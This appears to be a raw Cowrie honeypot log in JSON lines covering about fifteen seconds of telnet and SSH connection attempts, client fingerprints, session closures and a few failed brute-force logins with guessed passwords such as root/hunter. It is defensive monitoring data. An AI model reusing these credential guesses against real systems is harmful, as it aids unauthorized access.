{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44824,"dst_ip":"159.203.135.109","dst_port":23,"session":"3862e3913131","protocol":"telnet","message":"New connection: 46.4.8.162:44824 (159.203.135.109:23) [session: 3862e3913131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:01.466287Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":22697,"dst_ip":"159.203.135.109","dst_port":22,"session":"368f2d3eeb99","protocol":"ssh","message":"New connection: 223.197.186.7:22697 (159.203.135.109:22) [session: 368f2d3eeb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:01.778294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:01.783876Z","src_ip":"223.197.186.7","session":"368f2d3eeb99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44826,"dst_ip":"159.203.135.109","dst_port":23,"session":"91314ae81745","protocol":"telnet","message":"New connection: 46.4.8.162:44826 (159.203.135.109:23) [session: 91314ae81745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:01.878936Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:02.011293Z","src_ip":"223.197.186.7","session":"368f2d3eeb99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!@#$","message":"login attempt [root/admin123!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:02.934998Z","src_ip":"223.197.186.7","session":"368f2d3eeb99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:04.155901Z","src_ip":"223.197.186.7","session":"368f2d3eeb99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":40026,"dst_ip":"159.203.135.109","dst_port":23,"session":"4213bc8e7402","protocol":"telnet","message":"New connection: 35.187.38.22:40026 (159.203.135.109:23) [session: 4213bc8e7402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:04.293841Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":43462,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7093b86a14f","protocol":"telnet","message":"New connection: 35.187.38.22:43462 (159.203.135.109:23) [session: f7093b86a14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:06.414166Z"}
{"eventid":"cowrie.session.closed","duration":30.53733801841736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:06.653286Z","src_ip":"192.46.229.33","session":"ead2fc51731f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41816,"dst_ip":"159.203.135.109","dst_port":23,"session":"970990fc3c24","protocol":"telnet","message":"New connection: 46.4.8.162:41816 (159.203.135.109:23) [session: 970990fc3c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:06.712825Z"}
{"eventid":"cowrie.session.closed","duration":34.95782732963562,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:07.349906Z","src_ip":"188.166.220.49","session":"79a2e05b54e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":47928,"dst_ip":"159.203.135.109","dst_port":22,"session":"911ef2bcd13f","protocol":"ssh","message":"New connection: 103.148.100.146:47928 (159.203.135.109:22) [session: 911ef2bcd13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:08.127058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:08.132694Z","src_ip":"103.148.100.146","session":"911ef2bcd13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.043514490127563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:08.233935Z","src_ip":"192.46.229.33","session":"b7b99944a0ff","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:08.402517Z","src_ip":"103.148.100.146","session":"911ef2bcd13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.864299297332764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:08.617475Z","src_ip":"46.4.8.162","session":"3ef6ad2968b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":47586,"dst_ip":"159.203.135.109","dst_port":23,"session":"212329784cb0","protocol":"telnet","message":"New connection: 35.187.38.22:47586 (159.203.135.109:23) [session: 212329784cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:08.885173Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":56278,"dst_ip":"159.203.135.109","dst_port":22,"session":"2076ae20fa5b","protocol":"ssh","message":"New connection: 45.78.208.179:56278 (159.203.135.109:22) [session: 2076ae20fa5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:08.907257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:08.911740Z","src_ip":"45.78.208.179","session":"2076ae20fa5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:09.147241Z","src_ip":"45.78.208.179","session":"2076ae20fa5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41838,"dst_ip":"159.203.135.109","dst_port":23,"session":"40a406bf67b1","protocol":"telnet","message":"New connection: 46.4.8.162:41838 (159.203.135.109:23) [session: 40a406bf67b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:09.412236Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"hunter","message":"login attempt [root/hunter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:09.508387Z","src_ip":"103.148.100.146","session":"911ef2bcd13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.448285818099976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:09.620407Z","src_ip":"192.46.229.33","session":"b0b141924d4d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe@","message":"login attempt [ubuntu/123qwe@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:10.120420Z","src_ip":"45.78.208.179","session":"2076ae20fa5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:10.777772Z","src_ip":"103.148.100.146","session":"911ef2bcd13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.765700340270996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:10.912913Z","src_ip":"192.46.229.33","session":"0477b58b9795","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.691099405288696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:10.946973Z","src_ip":"192.46.229.33","session":"bdae9d750977","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41854,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa96dc29c1e5","protocol":"telnet","message":"New connection: 46.4.8.162:41854 (159.203.135.109:23) [session: aa96dc29c1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:11.128359Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":51606,"dst_ip":"159.203.135.109","dst_port":23,"session":"d13e1db52fdc","protocol":"telnet","message":"New connection: 35.187.38.22:51606 (159.203.135.109:23) [session: d13e1db52fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:11.354740Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:11.359295Z","src_ip":"45.78.208.179","session":"2076ae20fa5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.892550230026245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:11.747182Z","src_ip":"46.4.8.162","session":"3c16a52f50f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57483386993408,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:11.820458Z","src_ip":"46.4.8.162","session":"2fcb5c2870a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.41449546813965,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:12.167496Z","src_ip":"46.4.8.162","session":"818a91b43d10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":35286,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7944ddd9644","protocol":"telnet","message":"New connection: 188.166.220.49:35286 (159.203.135.109:23) [session: f7944ddd9644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:12.795692Z"}
{"eventid":"cowrie.session.closed","duration":31.284538984298706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:12.896615Z","src_ip":"192.46.229.33","session":"eec63598fb81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":39056,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae198706f166","protocol":"telnet","message":"New connection: 46.4.8.162:39056 (159.203.135.109:23) [session: ae198706f166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:13.903232Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":55760,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcdc3fd79612","protocol":"telnet","message":"New connection: 35.187.38.22:55760 (159.203.135.109:23) [session: dcdc3fd79612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:14.331986Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":55790,"dst_ip":"159.203.135.109","dst_port":23,"session":"51e209981eb1","protocol":"telnet","message":"New connection: 35.187.38.22:55790 (159.203.135.109:23) [session: 51e209981eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:14.338165Z"}
{"eventid":"cowrie.session.closed","duration":31.11102867126465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:17.662704Z","src_ip":"192.46.229.33","session":"0efb5ca7acf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30558490753174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:19.100985Z","src_ip":"192.46.229.33","session":"70b226eb4f7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83703541755676,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:19.256463Z","src_ip":"188.166.220.49","session":"3c9596a2d541","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133739233016968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:19.443443Z","src_ip":"192.46.229.33","session":"514bebffb1d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248701095581055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:19.620756Z","src_ip":"192.46.229.33","session":"d46789278904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.62428569793701,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:20.867900Z","src_ip":"46.4.8.162","session":"83edfed8b2a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":37332,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c3a6a6b5280","protocol":"telnet","message":"New connection: 35.187.38.22:37332 (159.203.135.109:23) [session: 2c3a6a6b5280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:21.027134Z"}
{"eventid":"cowrie.session.closed","duration":35.04175090789795,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:21.457803Z","src_ip":"46.4.8.162","session":"c24ccc42795f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14129614830017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:21.753907Z","src_ip":"192.46.229.33","session":"730124296545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":39794,"dst_ip":"159.203.135.109","dst_port":23,"session":"768380e49003","protocol":"telnet","message":"New connection: 35.187.38.22:39794 (159.203.135.109:23) [session: 768380e49003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:22.359290Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":39958,"dst_ip":"159.203.135.109","dst_port":23,"session":"77a172d2eb6b","protocol":"telnet","message":"New connection: 35.187.38.22:39958 (159.203.135.109:23) [session: 77a172d2eb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:22.436695Z"}
{"eventid":"cowrie.session.closed","duration":33.077075719833374,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:22.527612Z","src_ip":"46.4.8.162","session":"e11f37684fa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57076,"dst_ip":"159.203.135.109","dst_port":23,"session":"704125df8e99","protocol":"telnet","message":"New connection: 46.4.8.162:57076 (159.203.135.109:23) [session: 704125df8e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:22.830475Z"}
{"eventid":"cowrie.session.closed","duration":33.242716789245605,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:22.887977Z","src_ip":"46.4.8.162","session":"cf6d03bc1ed4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530704736709595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:23.729257Z","src_ip":"192.46.229.33","session":"047fcaaf5799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.93812036514282,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:24.074646Z","src_ip":"188.166.220.49","session":"49cd6cdca4eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.28544330596924,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:24.671774Z","src_ip":"46.4.8.162","session":"68f8d89bc882","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57088,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e68afb95a8f","protocol":"telnet","message":"New connection: 46.4.8.162:57088 (159.203.135.109:23) [session: 0e68afb95a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:24.706002Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":56846,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f7725fde0e","protocol":"telnet","message":"New connection: 75.119.159.60:56846 (10.17.0.5:23) [session: 62f7725fde0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:28.326112Z"}
{"eventid":"cowrie.session.closed","duration":33.33823871612549,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:28.782748Z","src_ip":"46.4.8.162","session":"9f6f4be1f10f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.325618267059326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:30.756125Z","src_ip":"192.46.229.33","session":"159f7d3f9138","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57096,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8efc891b33a","protocol":"telnet","message":"New connection: 46.4.8.162:57096 (159.203.135.109:23) [session: e8efc891b33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:31.008364Z"}
{"eventid":"cowrie.session.closed","duration":32.31983661651611,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:31.013501Z","src_ip":"46.4.8.162","session":"e3f010e09054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":60718,"dst_ip":"159.203.135.109","dst_port":23,"session":"099f3e469879","protocol":"telnet","message":"New connection: 188.166.220.49:60718 (159.203.135.109:23) [session: 099f3e469879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:31.228359Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57110,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ab6c8b64042","protocol":"telnet","message":"New connection: 46.4.8.162:57110 (159.203.135.109:23) [session: 5ab6c8b64042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:31.501998Z"}
{"eventid":"cowrie.session.closed","duration":30.93946099281311,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:32.239850Z","src_ip":"35.187.38.22","session":"e7b864ee7323","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872212648391724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:32.252084Z","src_ip":"35.187.38.22","session":"60c9c3f38055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981802701950073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:32.289334Z","src_ip":"35.187.38.22","session":"596e3f1d50c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.82936239242554,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:32.749218Z","src_ip":"46.4.8.162","session":"ab2b62241f32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00140285491943,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:32.984586Z","src_ip":"189.26.176.246","session":"24ce5d68ec22","protocol":"telnet"}
